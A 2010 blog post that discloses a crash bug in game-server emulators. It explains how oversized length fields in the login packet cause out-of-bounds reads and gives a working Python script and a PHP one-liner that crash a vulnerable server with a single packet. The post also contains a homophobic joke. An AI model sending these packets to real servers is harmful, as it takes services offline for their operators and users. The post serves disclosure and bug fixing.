Tuesday, August 17, 2010

Exploitable? No way!

Are you running some kind of csremu/vbsremu/dsremu/iamsogaysremu? Are you sure that your favourite piece of emulation software is working properly? Is it parsing data properly, checking for possible reading over buffer bounds? Most emulators fail at this. And they fail pretty hard, resulting in crashes and/or possible exploitation and injected code execution.

If you are using interpreted language such as vb6 or c#.net the latter possibility is quite unlikely to happen, however be ready to face out-of-bounds exceptions. Look at this extremely short script, written in python, which is able to crash certain badly written server with a single packet.

import socket
import struct

sockie = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockie.connect(('server.ip', 15779))
sockie.send(struct.pack('HHHBHHH', 9, 0x6102, 0, 0, 0xffff, 0xffff, 1337));
sockie.close()

How does it work? Script assumes that server is that bad written that it does not keep any state of connection and only responds to packets based on their op-codes. This slightly speeds the process up because it can avoid sending 'unnecessary' packets (such as handshake confirmation or patch information). This, however, rapidly reduces number of exploitable packets (in the gateway communication, there are at least 3 of them).

This exploit lays in login packet, which is supposed to look somehow like this:
short length
short opcode
short security

byte  method
short length
byte+ username
short length
byte+ password
short serverid

Now what does it mean? There is length, opcode, security - that makes for a cute packet header. Nothing really exploitable in there (well not directly).

Then, there is the data part - login method, username, password and server id. Look carefully at the username and password fields. In packets, they are stored as a short (16 bit) integer. Their value specifies how long the username is.

Now, what if the value indicated is longer than remaining buffer? There we get our exploit. This causes the long sought out-of-bounds exception. And that is what that little python script does.

Same exploit is possible with client identification (0x2001) and patch information (0x6100) where SR_Client string is sent in exactly same manner.

Happy bugfixing!


Update (as of 19-08-2010): same code should look like this in php:
<?php
 fwrite(fsockopen("server.ip", 15779, null, null, 1.0), "\x07\x00\x02\x61\x00\x00\x00\xff\xff\xff\xff\xff\xff");
?>

No comments:

Post a Comment